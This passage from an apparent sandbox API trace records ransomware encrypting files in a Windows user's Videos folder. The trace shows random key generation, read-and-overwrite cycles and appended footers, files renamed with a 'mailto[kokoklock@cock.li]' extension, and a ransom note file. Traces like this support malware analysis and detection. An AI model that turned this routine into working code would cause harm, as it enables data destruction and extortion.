tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\u6zuemdgtut4vcmkt_wx.avi.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x838 [0177.470] GetFileSizeEx (in: hFile=0x838, lpFileSize=0x29bffacc | out: lpFileSize=0x29bffacc*=92705) returned 1 [0177.470] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x16a1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.470] ReadFile (in: hFile=0x838, lpBuffer=0x29bffaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29bffa9c, lpOverlapped=0x0 | out: lpBuffer=0x29bffaa0*, lpNumberOfBytesRead=0x29bffa9c*=0x4, lpOverlapped=0x0) returned 1 [0177.471] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.471] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950d0 [0177.471] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.471] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f68 [0177.472] NtQuerySystemTime (in: CurrentTime=0x29bffa78 | out: CurrentTime=0x29bffa78*=132121213347911691) returned 0x0 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xd1719a6 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x5fcef15 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x883deeee [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x3a75ca18 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xf5e0b77c [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xd6b8ad5a [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x36b8cca [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x356dc03c [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x4e61d765 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x4c111b8b [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xd0e66f93 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xebfed964 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x6ffe3ba9 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xfa9acb1b [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xc4e2342a [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xbfe76023 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x166479e1 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x98cc66b4 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x4df87d29 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x9c749132 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x8048f969 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x5d83d56c [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xd7bfbb39 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x9b0ed5bd [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xebc5db0b [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x3d613f44 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x28795592 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xb8e68568 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0x475fab9 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xc401e6e6 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xc63c99e2 [0177.472] RtlRandom (in: Seed=0x29bffa84 | out: Seed=0x29bffa84) returned 0xf23917f6 [0177.483] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.483] ReadFile (in: hFile=0x838, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29bffa50, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x29bffa50*=0x4096, lpOverlapped=0x0) returned 1 [0177.485] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0177.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0177.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95080 [0177.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95080) returned 1 [0177.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95008 [0177.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95030 [0177.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95030) returned 1 [0177.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0177.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0177.486] WriteFile (in: hFile=0x838, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29bffa50, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x29bffa50*=0x4096, lpOverlapped=0x0) returned 1 [0177.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.486] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x16a21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.486] WriteFile (in: hFile=0x838, lpBuffer=0x2f95008*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29bffa88, lpOverlapped=0x0 | out: lpBuffer=0x2f95008*, lpNumberOfBytesWritten=0x29bffa88*=0x20, lpOverlapped=0x0) returned 1 [0177.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95008) returned 1 [0177.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.487] WriteFile (in: hFile=0x838, lpBuffer=0x2f94fe0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29bffa9c, lpOverlapped=0x0 | out: lpBuffer=0x2f94fe0*, lpNumberOfBytesWritten=0x29bffa9c*=0x8, lpOverlapped=0x0) returned 1 [0177.487] WriteFile (in: hFile=0x838, lpBuffer=0x29bffab4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29bffa9c, lpOverlapped=0x0 | out: lpBuffer=0x29bffab4*, lpNumberOfBytesWritten=0x29bffa9c*=0x4, lpOverlapped=0x0) returned 1 [0177.487] WriteFile (in: hFile=0x838, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29bffa9c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x29bffa9c*=0x4, lpOverlapped=0x0) returned 1 [0177.487] WriteFile (in: hFile=0x838, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29bffa9c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x29bffa9c*=0x6c, lpOverlapped=0x0) returned 1 [0177.487] WriteFile (in: hFile=0x838, lpBuffer=0x2f94f40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29bffa9c, lpOverlapped=0x0 | out: lpBuffer=0x2f94f40*, lpNumberOfBytesWritten=0x29bffa9c*=0x20, lpOverlapped=0x0) returned 1 [0177.487] WriteFile (in: hFile=0x838, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29bffa9c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x29bffa9c*=0x4, lpOverlapped=0x0) returned 1 [0177.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f90) returned 1 [0177.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0177.487] CloseHandle (hObject=0x838) returned 1 [0177.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2fa0c68 [0177.488] wcscpy (in: _Dest=0x2fa0c68, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731" [0177.488] wcscat (in: _Dest=0x2fa0c68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.488] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\u6zuemdgtut4vcmkt_wx.avi.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\u6zuemdgtut4vcmkt_wx.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.489] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.489] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c68) returned 1 [0177.489] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.489] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x2fa7478 [0177.489] wcscpy (in: _Dest=0x2fa7478, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0177.489] wcscat (in: _Dest=0x2fa7478, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" [0177.489] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\d0e731-readme.txt")) returned 0x20 [0177.490] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7478) returned 1 [0177.490] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305cf80) returned 1 [0177.493] RtlExitUserThread (Status=0x1) Thread: id = 2650 os_tid = 0x10ec [0177.494] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\vjwkavyr trz.swf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.494] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\vjwkavyr trz.swf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x838 [0177.495] GetFileSizeEx (in: hFile=0x838, lpFileSize=0x29c7f920 | out: lpFileSize=0x29c7f920*=75207) returned 1 [0177.495] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x125c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.495] ReadFile (in: hFile=0x838, lpBuffer=0x29c7f8f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29c7f8f0, lpOverlapped=0x0 | out: lpBuffer=0x29c7f8f4*, lpNumberOfBytesRead=0x29c7f8f0*=0x4, lpOverlapped=0x0) returned 1 [0177.496] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.496] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950d0 [0177.496] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.496] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f90 [0177.496] NtQuerySystemTime (in: CurrentTime=0x29c7f8cc | out: CurrentTime=0x29c7f8cc*=132121213348124178) returned 0x0 [0177.496] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x451fe487 [0177.496] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xde188af2 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xd9467f3b [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xdd0583dd [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xde847dd7 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x9af224c7 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xe114dbc1 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xf4533e6f [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xcc63089b [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x136c8f30 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x60d37356 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xbc18f56 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xc95148c5 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x7d8124e8 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x6bd9031d [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x4496c515 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xcb6c4b15 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xe2f7dd78 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x3b6395a2 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x3c18d050 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x92e8e862 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xd93fba94 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xe8c6848c [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x5b44fec9 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xd82f9692 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xef17c3e0 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xd4f7215b [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0xb197df72 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x6b0d05af [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x6c9fc77b [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x6e3d3a49 [0177.497] RtlRandom (in: Seed=0x29c7f8d8 | out: Seed=0x29c7f8d8) returned 0x755e8856 [0177.508] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.509] ReadFile (in: hFile=0x838, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29c7f8a4, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x29c7f8a4*=0x4096, lpOverlapped=0x0) returned 1 [0177.509] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.509] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0177.510] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0177.510] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950a8 [0177.510] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950a8) returned 1 [0177.510] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3058460 [0177.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95030 [0177.511] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95058 [0177.511] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95058) returned 1 [0177.511] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0177.511] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0177.511] WriteFile (in: hFile=0x838, lpBuffer=0x3058460*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29c7f8a4, lpOverlapped=0x0 | out: lpBuffer=0x3058460*, lpNumberOfBytesWritten=0x29c7f8a4*=0x4096, lpOverlapped=0x0) returned 1 [0177.511] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058460) returned 1 [0177.511] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x125c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.511] WriteFile (in: hFile=0x838, lpBuffer=0x2f95030*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29c7f8dc, lpOverlapped=0x0 | out: lpBuffer=0x2f95030*, lpNumberOfBytesWritten=0x29c7f8dc*=0x20, lpOverlapped=0x0) returned 1 [0177.511] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95030) returned 1 [0177.511] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.511] WriteFile (in: hFile=0x838, lpBuffer=0x2f95008*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29c7f8f0, lpOverlapped=0x0 | out: lpBuffer=0x2f95008*, lpNumberOfBytesWritten=0x29c7f8f0*=0x8, lpOverlapped=0x0) returned 1 [0177.512] WriteFile (in: hFile=0x838, lpBuffer=0x29c7f908*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29c7f8f0, lpOverlapped=0x0 | out: lpBuffer=0x29c7f908*, lpNumberOfBytesWritten=0x29c7f8f0*=0x4, lpOverlapped=0x0) returned 1 [0177.512] WriteFile (in: hFile=0x838, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29c7f8f0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x29c7f8f0*=0x4, lpOverlapped=0x0) returned 1 [0177.512] WriteFile (in: hFile=0x838, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29c7f8f0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x29c7f8f0*=0x6c, lpOverlapped=0x0) returned 1 [0177.512] WriteFile (in: hFile=0x838, lpBuffer=0x2f94f40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29c7f8f0, lpOverlapped=0x0 | out: lpBuffer=0x2f94f40*, lpNumberOfBytesWritten=0x29c7f8f0*=0x20, lpOverlapped=0x0) returned 1 [0177.512] WriteFile (in: hFile=0x838, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29c7f8f0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x29c7f8f0*=0x4, lpOverlapped=0x0) returned 1 [0177.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0177.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95008) returned 1 [0177.512] CloseHandle (hObject=0x838) returned 1 [0177.512] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2fa5cc0 [0177.512] wcscpy (in: _Dest=0x2fa5cc0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731" [0177.512] wcscat (in: _Dest=0x2fa5cc0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.512] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\vjwkavyr trz.swf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\vjwkavyr trz.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.513] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.513] 